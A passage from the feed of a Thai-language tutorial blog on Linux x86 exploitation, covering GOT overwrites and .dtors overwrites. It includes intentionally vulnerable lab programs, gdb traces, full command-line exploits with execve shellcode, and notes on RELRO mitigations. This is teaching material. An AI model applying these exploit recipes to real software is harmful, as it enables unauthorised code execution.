/&gt;End of assembler dump.&lt;br /&gt;(gdb) x/x 0x8049660&lt;br /&gt;0x8049660 &amp;lt;_GLOBAL_OFFSET_TABLE_+16&amp;gt;:   0x08048316&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าใน &lt;span class="code"&gt;strncpy@plt&lt;/span&gt; จะทำการ jump ไปที่ address ที่เก็บไว้ใน 0x8049660 และเมื่อลองดูค่าที่ address 0x8049660 จะเห็นว่า gdb บอกว่า address นี้เป็นส่วนของ GOT โดยค่าของมันคือ address ของคำสั่ง &lt;span class="code"&gt;push $0x8&lt;/span&gt; ที่ค่าของ GOT+16 นั่นเป็น address นี้เพราะว่าโปรแกรมยังไม่ได้ทำการ resolve หา address ของ strncpy function ใน libc ซึ่งจะทำการ jump ไปใน code ที่ทำการ resolve address ของ strncpy function&lt;/p&gt;&lt;p&gt;และเมื่อดูใน &lt;span class="code"&gt;printf@plt&lt;/span&gt;&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) x/3i 0x8048330&lt;br /&gt;   0x8048330 &amp;lt;printf@plt&amp;gt;:      jmp    *0x8049668&lt;br /&gt;   0x8048336 &amp;lt;printf@plt+6&amp;gt;:    push   $0x18&lt;br /&gt;   0x804833b &amp;lt;printf@plt+11&amp;gt;:   jmp    0x80482f0&lt;br /&gt;(gdb) x/x 0x8049668&lt;br /&gt;0x8049668 &amp;lt;_GLOBAL_OFFSET_TABLE_+24&amp;gt;:   0x08048336&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า &lt;span class="code"&gt;printf@plt&lt;/span&gt; นั่นจะเหมือน &lt;span class="code"&gt;strncpy@plt&lt;/span&gt; โดยจะต่างกันที่ address และค่าที่ push โดยค่าที่ push จะเป็นค่าที่ใช้บอกว่าจะให้โปรแกรม resovle address ของ function อะไร&lt;/p&gt;&lt;p&gt;และเมื่อเราปล่อยให้โปรแกรม resolve address ของ strncpy โดยเราจะ set breakpoint ที่ strncpy ใน libc และดูค่าใน GOT+16 อีกครั้งหนึ่ง&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) b strncpy&lt;br /&gt;Breakpoint 2 at 0x1b2a35&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint 2, 0x001b2a35 in strncpy () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;(gdb) x/x 0x8049660&lt;br /&gt;0x8049660 &amp;lt;_GLOBAL_OFFSET_TABLE_+16&amp;gt;:   0x001b2a30&lt;br /&gt;(gdb) x/5i 0x001b2a30&lt;br /&gt;   0x1b2a30 &amp;lt;strncpy&amp;gt;:  push   %ebp&lt;br /&gt;   0x1b2a31 &amp;lt;strncpy+1&amp;gt;:        mov    %esp,%ebp&lt;br /&gt;   0x1b2a33 &amp;lt;strncpy+3&amp;gt;:        push   %edi&lt;br /&gt;   0x1b2a34 &amp;lt;strncpy+4&amp;gt;:        push   %esi&lt;br /&gt;=&amp;gt; 0x1b2a35 &amp;lt;strncpy+5&amp;gt;:        sub    $0x4,%esp&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าโปรแกรม ได้ทำการแก้ไขค่าของ GOT+16 ซึ่งเป็น entry สำหรับ strncpy เป็น address ของ strncpy ใน libc ทำให้การเรียกครั้งต่อไป โปรแกรมจะทำการ jump มาที่ address ของ strncpy (0x001b2a30) ตรงๆ&lt;/p&gt;&lt;p&gt;ถ้าใครยังไม่ค่อยเข้าใจ ลองดูรูปขั้นตอนการ resolve address ของ function และเขียนค่าใน GOT (หวังว่าจะทำให้เข้าใจ)&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-8G54CJg_UEI/TaFK5P07A9I/AAAAAAAAAFc/pEsdN0Ty5qw/s1600/liexp_09_1.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="156" width="400" src="http://3.bp.blogspot.com/-8G54CJg_UEI/TaFK5P07A9I/AAAAAAAAAFc/pEsdN0Ty5qw/s400/liexp_09_1.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จากที่กล่าวมาทั้งหมด จะเห็นว่า GOT จะต้องเป็นส่วนที่ read/write เนื่องด้วยโปรแกรมต้องมีการแก้ไขข้อมูลของ GOT และ GOT เป็นที่เก็บข้อมูล address ของ function ต่างๆ ใน library ที่เราจะเรียกใช้ ดังนั้นถ้าเราสามารถเขียนทับค่าใน GOT ได้ และเมื่อโปรแกรมเรียกใช้ function ที่เราแก้ไข address ใน GOT เราจะสามารถควบคุม eip ได้&lt;/p&gt;&lt;p&gt;หลังจากทำความเข้าใจกับ GOT มาพอสมควร เรามาเขียน exploit กัน โดยจากโปรแกรมที่ให้ ปัญหาคือ strncpy แรกจะ copy ข้อมูลไปทับ ptr ทำให้เรากำหนดค่า ptr ได้ และเมื่อรวมกับ strncpy ที่สอง ทำให้เราสามารถเขียนข้อมูลทับที่ไหนก็ได้ 4 bytes โดยในหัวข้อนี้ ผมจะแสดงวิธีการเขียนทับ address ใน GOT&lt;/p&gt;&lt;p&gt;จากโปรแกรมที่ให้ เราสามารถเขียนข้อมูลใน GOT ที่ strncpy ที่สอง และหลังจากนั้นจะมีการเรียก printf function ดังนั้นเป้าหมายที่ผมจะเขียนทับคือ GOT entry ที่เก็บ address ของ printf ไว้ โดยวิธีการหา address ของ GOT entry ต่างๆ สามารถใช้คำสั่ง objdump ดังนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -R ./ex_09_1&lt;br /&gt;&lt;br /&gt;./ex_09_1:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;DYNAMIC RELOCATION RECORDS&lt;br /&gt;OFFSET   TYPE              VALUE&lt;br /&gt;0804964c R_386_GLOB_DAT    __gmon_start__&lt;br /&gt;0804965c R_386_JUMP_SLOT   __gmon_start__&lt;br /&gt;08049660 R_386_JUMP_SLOT   strncpy&lt;br /&gt;08049664 R_386_JUMP_SLOT   __libc_start_main&lt;br /&gt;08049668 R_386_JUMP_SLOT   printf&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ดังนั้น address ที่เราจะเขียน address ของ shellcode ของเราคือ 0x08049668 หลังจากนั้นสิ่งที่เราต้องการคือ address ของ shellcode&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ulimit -c unlimited&lt;br /&gt;$ ./ex_09_1 `perl -e 'print "A"x516'` `perl -e 'print "B"x4'`&lt;br /&gt;ptr address: 0x41414141&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;$ gdb ./ex_09_1 core&lt;br /&gt;...&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;#0  0x001b2a5c in strncpy () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;(gdb) x/12x $esp&lt;br /&gt;0xbffff2fc:     0x41414141      0x00000000      0x00000000      0xbffff538&lt;br /&gt;0xbffff30c:     0x08048466      0x41414141      0xbffff912      0x00000004&lt;br /&gt;0xbffff31c:     0xbffff364      0xbffff370      0x00000070      0x0012c524&lt;br /&gt;(gdb)&lt;br /&gt;0xbffff32c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff33c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff34c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ address ของ shellcode จะอยู่ที่ 0xbffff32c ดังนั้น exploit ของโปรแกรมนี้ จะเป็น&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_09_1 `perl -e 'print "\x90"x491 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\x68\x96\x04\x08"'` `perl -e 'print "\x2c\xf3\xff\xbf"'`&lt;br /&gt;ptr address: 0x8049668&lt;br /&gt;$ ps -f&lt;br /&gt;UID        PID  PPID  C STIME TTY          TIME CMD&lt;br /&gt;worawit   1245  1244  0 10:53 pts/0    00:00:02 -bash&lt;br /&gt;worawit   1898  1245  0 13:57 pts/0    00:00:00 [sh]&lt;br /&gt;worawit   1901  1898  0 13:58 pts/0    00:00:00 ps -f&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เทคนิคนี้ ปัจจุบันได้มี option ที่ใช้ป้องกัน คือให้โปรแกรมทำการ resovle address ทั้งหมดตั้งแต่โปรแกรมเริ่ม และ remapped GOT ให้เป็น read-only โดยใช้ gcc option "-z relro -z now" ดังต่อไปนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gcc -fno-pie -fno-stack-protector -z relro -z now -z execstack -o ex_09_1_2 ex_09_1.c&lt;br /&gt;$ objdump -R ./ex_09_1_2&lt;br /&gt;&lt;br /&gt;./ex_09_1_2:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;DYNAMIC RELOCATION RECORDS&lt;br /&gt;OFFSET   TYPE              VALUE&lt;br /&gt;08049ffc R_386_GLOB_DAT    __gmon_start__&lt;br /&gt;08049fec R_386_JUMP_SLOT   __gmon_start__&lt;br /&gt;08049ff0 R_386_JUMP_SLOT   strncpy&lt;br /&gt;08049ff4 R_386_JUMP_SLOT   __libc_start_main&lt;br /&gt;08049ff8 R_386_JUMP_SLOT   printf&lt;br /&gt;$ gdb ./ex_09_1_2&lt;br /&gt;...&lt;br /&gt;(gdb) b main&lt;br /&gt;Breakpoint 1 at 0x8048417&lt;br /&gt;(gdb) r&lt;br /&gt;Starting program: /home/worawit/tutz/ch09/ex_09_1_2&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048417 in main ()&lt;br /&gt;(gdb) info proc&lt;br /&gt;process 1297&lt;br /&gt;cmdline = '/home/worawit/tutz/ch09/ex_09_1_2'&lt;br /&gt;cwd = '/home/worawit/tutz/ch09'&lt;br /&gt;exe = '/home/worawit/tutz/ch09/ex_09_1_2'&lt;br /&gt;(gdb) shell grep ex_09 /proc/1297/maps&lt;br /&gt;08048000-08049000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2&lt;br /&gt;08049000-0804a000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2  # จะเห็นว่า GOT อยู่ใน section นี้&lt;br /&gt;0804a000-0804b000 rwxp 00001000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- &lt;a href="http://www.iecc.com/linker/linker10.html"&gt;http://www.iecc.com/linker/linker10.html&lt;/a&gt;&lt;br/&gt;- &lt;a href="http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html"&gt;http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-3576440416963201468?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/3576440416963201468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/04/overwriting-got.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/3576440416963201468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/3576440416963201468'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/04/overwriting-got.html' title='Overwriting GOT'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-8G54CJg_UEI/TaFK5P07A9I/AAAAAAAAAFc/pEsdN0Ty5qw/s72-c/liexp_09_1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-6886405779182776451</id><published>2011-02-25T22:17:00.000+07:00</published><updated>2011-02-25T22:17:56.789+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Overwriting dtors</title><content type='html'>&lt;p&gt;ในหัวข้อนี้ ผมจะพูดถึงเทคนิคการเขียน exploit ด้วยการ overwrite C destructor ซึ่งเทคนิคนี้ ไม่สามารถใช้ได้แล้วใน GCC version ที่ใช้กันอยู่ แต่ที่พูดถึงก็เพื่อเป็นตัวอย่างในการศึกษา&lt;/p&gt;&lt;p&gt;หลายคนอาจไม่รู้ว่าใน glibc นั้นมี constructor และ destructor ด้วย วัตถุประสงค์จะเหมือนใน C++ คือส่วนที่ทำงานก่อนโปรแกรมจะเริ่มที่ main() และส่วนที่ทำงานก่อนโปรแกรมจะจบ (หลัง main()) รวมถึงการออกด้วย exit() เช่นตามตัวที่อย่างที่ 1 (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_08_1.c?attredirects=0&amp;d=1"&gt;ex_08_1.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/* gcc-3.4 -o ex_08_1 ex_08_1.c */&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;void test_ctor() __attribute__ ((constructor));&lt;br /&gt;void test_dtor() __attribute__ ((destructor));&lt;br /&gt;&lt;br /&gt;void test_ctor()&lt;br /&gt;{&lt;br /&gt;    printf("In ctor\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void test_dtor()&lt;br /&gt;{&lt;br /&gt;    printf("In dtor\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    printf("In main\n");&lt;br /&gt;    printf("Address of test_ctor: %p\n", &amp;amp;test_ctor);&lt;br /&gt;    printf("Address of test_dtor: %p\n", &amp;amp;test_dtor);&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;และเมื่อ compile ด้วย gcc-3 และ run จะได้ผลตามนี้&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;$ ./ex_08_1&lt;br /&gt;In ctor&lt;br /&gt;In main&lt;br /&gt;Address of test_ctor: 0x804834c&lt;br /&gt;Address of test_dtor: 0x8048360&lt;br /&gt;In dtor&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;แล้วถ้าเราไล่ดู code จะพบว่า constructor นั้นถูกเรียกจาก __do_global_ctors_aux function และ destructor จะถูกเรียกจาก __do_global_dtors_aux โดย 2 functions นี้ เพิ่มขึ้นมาเมื่อเรา compile โปรแำกรมด้วย gcc&lt;/p&gt;&lt;p&gt;Note: สำหรับคนที่อยากไล่ด้วย gdb ให้ใช้คำสั่ง &lt;span class="command"&gt;objdump -f ex_08_1&lt;/span&gt; เพื่อดู entry point ของโปรแกรม แล้ว set breakpoint ที่ entry point ก่อนจะเริ่มโปรแกรม&lt;/p&gt;&lt;p&gt;โดย function list ของ constructor และ destructor นั้นจะถูกเก็บไว้ใน .ctors และ .dtors section ซึ่งสามารถดูได้ด้วยคำัสั่ง objdump ดังนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -s -j .ctors ex_08_1&lt;br /&gt;&lt;br /&gt;ex_08_1:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;Contents of section .ctors:&lt;br /&gt; 80494e0 ffffffff 4c830408 00000000           ....L.......&lt;br /&gt;$ objdump -s -j .dtors ex_08_1&lt;br /&gt;&lt;br /&gt;ex_08_1:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;Contents of section .dtors:&lt;br /&gt; 80494ec ffffffff 60830408 00000000           ....`.......&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จากผลลัพธ์ของ objdump จะได้ว่า .ctors section นั้นถูกโหลดใน memory ที่ address 0x080494e0 และ .dtors section ที่ address 0x080494ec และสังเกตเห็นมั้ยครับว่าค่า 4c830408 กับ 60830408 คือ address ของ test_ctor() กับ test_dtor() ตามลำดับ เมื่อเราไล่ดู assembly code ของ __do_global_dtors_aux() function ที่ได้มาจาก objdump&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -d -j .text ex_08_1 | awk /^.*__do_global_dtors_aux\&amp;gt;:$/,/^$/&lt;br /&gt;080482f4 &amp;lt;__do_global_dtors_aux&amp;gt;:&lt;br /&gt; 80482f4:       55                      push   %ebp&lt;br /&gt; 80482f5:       89 e5                   mov    %esp,%ebp&lt;br /&gt; 80482f7:       83 ec 08                sub    $0x8,%esp&lt;br /&gt; 80482fa:       80 3d ec 95 04 08 00    cmpb   $0x0,0x80495ec # check ว่า destructor ถูกเรียกไปหรือยัง&lt;br /&gt; 8048301:       3e 74 0c                je,pt  8048310 &amp;lt;__do_global_dtors_aux+0x1c&amp;gt;&lt;br /&gt; 8048304:       eb 1c                   jmp    8048322 &amp;lt;__do_global_dtors_aux+0x2e&amp;gt;&lt;br /&gt; 8048306:       83 c0 04                add    $0x4,%eax&lt;br /&gt; 8048309:       a3 e8 95 04 08          mov    %eax,0x80495e8&lt;br /&gt; 804830e:       ff d2                   call   *%edx  # เรียก destructor function&lt;br /&gt; 8048310:       a1 e8 95 04 08          mov    0x80495e8,%eax  # เอา address ที่เก็บ address ของ dtors ลง eax&lt;br /&gt; 8048315:       8b 10                   mov    (%eax),%edx # โหลด address ของ destructor function ลง edx&lt;br /&gt; 8048317:       85 d2                   test   %edx,%edx # จบการเรียก destructor ถ้า address เป็น 0&lt;br /&gt; 8048319:       75 eb                   jne    8048306 &amp;lt;__do_global_dtors_aux+0x12&amp;gt;&lt;br /&gt; 804831b:       c6 05 ec 95 04 08 01    movb   $0x1,0x80495ec&lt;br /&gt; 8048322:       c9                      leave&lt;br /&gt; 8048323:       c3                      ret&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าใน __do_global_dtors_aux() จะวนเรียก function ที่อยู่ใน dtors จน address ของ function เป็น 0 ดังนั้นเมื่อเกิด buffer overflow แล้วเราสามารถเขียนทับที่ addresss ไหนก็ได้ การเขียนทับ address ของ dtor ก็เป็นวิธีหนึ่งที่ทำให้โปรแกรมทำงานที่ address ที่เราต้องการได้&lt;/p&gt;&lt;p&gt;เรามาดูตัวอย่าง exploit ที่ใช้วิธีการเขียนทับ dtors กันดีกว่า โดยผมให้โปรแกรมที่มีช่องโหว่ดังนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_08_2.c?attredirects=0&amp;d=1"&gt;ex_08_2.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/* gcc-3.4 -fno-pie -z norelro -z execstack -o ex_08_2 ex_08_2.c */&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;    char *ptr;&lt;br /&gt;    char buf[512];&lt;br /&gt;&lt;br /&gt;    ptr = buf;&lt;br /&gt;    strcpy(buf, argv[1]);&lt;br /&gt;    strcpy(ptr, argv[2]);&lt;br /&gt;&lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าปัญหาของโปรแกรมนี้คือใช้ strcpy กับ input ของผู้ใช้ตรงๆ เหมือนตัวอย่างที่ผมเคยยกมา แต่ความแตกต่างคือมี &lt;span class="code"&gt;exit(0);&lt;/span&gt; ซึ่งทำให้โปรแกรมไม่ได้จบ main() function ด้วยคำสั่ง assembly &lt;span class="code"&gt;ret&lt;/span&gt; แต่เปลี่ยนเป็นออกโปรแกรมทันที ทำให้ shellcode ของเราไม่ทำงาน ถึงแม้ว่าเราจะเขียนทับ saved eip ก็ตาม&lt;/p&gt;&lt;p&gt;อีกหนึ่งประเด็นที่อย่างให้เห็นคือ ถ้าเราใส่ค่า &lt;span class="code"&gt;argv[1]&lt;/span&gt; ไปยาวมากๆ จะทำให้ค่า argv ซึ่งเป็น argument ของ main function ถูกเปลี่ยนไปด้วย ทำให้การอ้างถึง &lt;span class="code"&gt;argv[2]&lt;/span&gt; ในบรรทัดถัดไป อาจไปอ้างถึง address ที่ invalid (หวังว่ายังจำกันได้ว่า function argument อยู่ข้างล่าง saved eip) ทำให้โปรแกรม crash ก่อนที่โปรแกรมจะเริ่มทำงาน shellcode ของเรา ดังนั้นเวลาเขียน exploit สิ่งหนึ่งที่ต้องระวังคือ ต้องไม่ทำให้โปรแกรม crash ก่อนที่จะโปรแกรมจะมาทำงานในส่วนที่เราต้องการ&lt;/p&gt;&lt;p&gt;แล้วสิ่งที่เราสามารถทำได้ละ ถ้าลองดูที่ assembly ของโปรแกรมนี้ (ข้างล่าง) จะเห็นว่าตัวแปร ptr อยู่ข้างล่าง buf ซึ่งทำให้เราสามารถแก้ไขค่า ptr ได้ โดยการ overflow ตัวแปร buf และคำสั่ง &lt;span class="code"&gt;strcpy&lt;/span&gt; ที่สองคือการ copy ข้อมูลจาก argv[2] ไปที่ตัวแปร ptr ชี้อยู่ ดังนั้นสิ่งที่เราทำได้ในโปรแกรมนี้ เขียนข้อมูลที่ address ไหนก็ได้ใน memory โดยผมจะแสดงเฉพาะวิธีเขียนทับ dtor (ในตัวอย่างนี้ผมไม่มีการ setuid นะครับ ทำแค่ spawn shell อย่างเดียว)&lt;/p&gt;&lt;p&gt;ก่อนอื่นเรามาดูว่าเราต้องใส่ข้อมูลเท่าไรถึงจะ overwrite ค่า ptr ได้ ซึ่งเมื่อดูใน assembly จะได้ว่าต้องเขียนไป &lt;span class="code"&gt;0x218-0xc = 0x20c = 524&lt;/span&gt; bytes ก่อนจะถึง ptr (วิธีไล่ของผมก็คือหาคำสั่ง strcpy ก่อน แล้วค่อยจะหาตำแหน่งของ buf กับ ptr จากที่ถูกส่งเป็น argument แรก)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -d -j .text ex_08_2 | awk /^.*main\&amp;gt;:$/,/^$/&lt;br /&gt;0804837c &amp;lt;main&amp;gt;:&lt;br /&gt; 804837c:       55                      push   %ebp&lt;br /&gt; 804837d:       89 e5                   mov    %esp,%ebp&lt;br /&gt; 804837f:       81 ec 28 02 00 00       sub    $0x228,%esp&lt;br /&gt; 8048385:       83 e4 f0                and    $0xfffffff0,%esp&lt;br /&gt; 8048388:       b8 00 00 00 00          mov    $0x0,%eax&lt;br /&gt; 804838d:       83 c0 0f                add    $0xf,%eax&lt;br /&gt; 8048390:       83 c0 0f                add    $0xf,%eax&lt;br /&gt; 8048393:       c1 e8 04                shr    $0x4,%eax&lt;br /&gt; 8048396:       c1 e0 04                shl    $0x4,%eax&lt;br /&gt; 8048399:       29 c4                   sub    %eax,%esp&lt;br /&gt; 804839b:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax&lt;br /&gt; 80483a1:       89 45 f4                mov    %eax,-0xc(%ebp)&lt;br /&gt; 80483a4:       8b 45 0c                mov    0xc(%ebp),%eax&lt;br /&gt; 80483a7:       83 c0 04                add    $0x4,%eax&lt;br /&gt; 80483aa:       8b 00                   mov    (%eax),%eax&lt;br /&gt; 80483ac:       89 44 24 04             mov    %eax,0x4(%esp)&lt;br /&gt; 80483b0:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax  # buf อยู่ที่ ebp-0x218&lt;br /&gt; 80483b6:       89 04 24                mov    %eax,(%esp)&lt;br /&gt; 80483b9:       e8 1e ff ff ff          call   80482dc &lt;strcpy@plt&gt;  # strcpy แรก&lt;br /&gt; 80483be:       8b 45 0c                mov    0xc(%ebp),%eax&lt;br /&gt; 80483c1:       83 c0 08                add    $0x8,%eax&lt;br /&gt; 80483c4:       8b 00                   mov    (%eax),%eax&lt;br /&gt; 80483c6:       89 44 24 04             mov    %eax,0x4(%esp)&lt;br /&gt; 80483ca:       8b 45 f4                mov    -0xc(%ebp),%eax  # ptr อยู่ที่ ebp-0xc&lt;br /&gt; 80483cd:       89 04 24                mov    %eax,(%esp)&lt;br /&gt; 80483d0:       e8 07 ff ff ff          call   80482dc &lt;strcpy@plt&gt; # strcpy ที่สอง&lt;br /&gt; 80483d5:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)&lt;br /&gt; 80483dc:       e8 0b ff ff ff          call   80482ec &lt;exit@plt&gt;&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ต่อมาคือตำแหน่งของ dtor ที่เราต้องการจะเขียนทับ โดยเราจะนำค่านี้มาเขียนทับ ptr จะได้ตำแหน่งที่เราต้องการจะเขียนทับคือ 0x80494bc&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -s -j .dtors ex_08_2&lt;br /&gt;&lt;br /&gt;ex_08_2:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;Contents of section .dtors:&lt;br /&gt; 80494b8 ffffffff 00000000                    ........&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;สุดท้าย คือ address ของ shellcode ของเราที่จะใส่เข้าไป โดยในตัวอย่างนี้ผมจะใส่ shellcode ไว้ใน buf ดังนั้นสิ่งที่เราต้องหาคือ address ของ buf แต่คราวนี้ผมจะใช้ core file เพื่อหา address ของ shellcode ที่จะใส่เข้าไป&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ulimit -c unlimited&lt;br /&gt;$ ./ex_08_2 `perl -e 'print "A"x528'` `perl -e 'print "B"x4'`&lt;br /&gt;$  gdb -q ex_08_2 core&lt;br /&gt;...&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;(gdb) bt&lt;br /&gt;#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6  # จะเห็นว่าโปรแกรม crash ใน strcpy เพราะว่า ptr ชี้ไปที่ invalid address&lt;br /&gt;#1  0x080483d5 in main ()&lt;br /&gt;(gdb) x/16x $ebp&lt;br /&gt;0xbffff2e8:     0xbffff528      0x080483d5      0x41414141      0xbffff913   # จะเห็นว่าค่า ptr เป็น 0x41414141 (argument ของ strcpy)&lt;br /&gt;0xbffff2f8:     0xbffff30c      0x00124985      0x00000008      0x00000000&lt;br /&gt;0xbffff308:     0xbffff40c      0xbffff354      0x41414141      0x41414141   # buf เริ่มที่ 0xbffff310&lt;br /&gt;0xbffff318:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะได้ว่า buf เราเริ่มที่ 0xbffff310 และผมจะใช้ execve("/bin/sh") shellcode ที่ได้จากหัวข้อการเขียน Linux x86 Shellcode ขนาด 21 bytes ดังนั้น nop เราจะมีขนาด 524-21 = 503 bytes ดังนั้น exploit จะเป็นดังนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_08_2 `perl -e 'print "\x90"x503 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\xbc\x94\x04\x08"'` `perl -e 'print "\x10\xf3\xff\xbf"'`&lt;br /&gt;$ exit&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ทำได้แล้ว แต่อย่างที่ผมบอกไปตอนต้นว่า เทคนิคนี้ใช้ไม่ได้แล้ว เรามาดูกันดีกว่าว่าทำไม ด้วยการลอง compile โปรแกรมที่สองด้วย gcc 4&lt;/p&gt;&lt;pre class="code langauge-bsh"&gt;&lt;br /&gt;$ gcc -fno-pie -z norelro -z execstack -o ex_08_2_gcc4 ex_08_2.c&lt;br /&gt;$ objdump -s -j .dtors ex_08_2_gcc4&lt;br /&gt;&lt;br /&gt;ex_08_2_gcc4:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;Contents of section .dtors:&lt;br /&gt; 804952c ffffffff 00000000                    ........&lt;br /&gt;$ objdump -d -j .text ex_08_2_gcc4 | awk /^.*__do_global_dtors_aux\&amp;gt;:$/,/^$/&lt;br /&gt;08048370 &amp;lt;__do_global_dtors_aux&amp;gt;:&lt;br /&gt; 8048370:       55                      push   %ebp&lt;br /&gt; 8048371:       89 e5                   mov    %esp,%ebp&lt;br /&gt; 8048373:       53                      push   %ebx&lt;br /&gt; 8048374:       83 ec 04                sub    $0x4,%esp&lt;br /&gt; 8048377:       80 3d 30 96 04 08 00    cmpb   $0x0,0x8049630&lt;br /&gt; 804837e:       75 3f                   jne    80483bf &amp;lt;__do_global_dtors_aux+0x4f&amp;gt;&lt;br /&gt; 8048380:       a1 34 96 04 08          mov    0x8049634,%eax&lt;br /&gt; 8048385:       bb 30 95 04 08          mov    $0x8049530,%ebx  # เอา address สุดท้ายของ .dtor secion ลง ebx&lt;br /&gt; 804838a:       81 eb 2c 95 04 08       sub    $0x804952c,%ebx  # ลบกับ address แรก ของ .dtor section&lt;br /&gt; 8048390:       c1 fb 02                sar    $0x2,%ebx  # แล้วหารด้วย 4&lt;br /&gt; 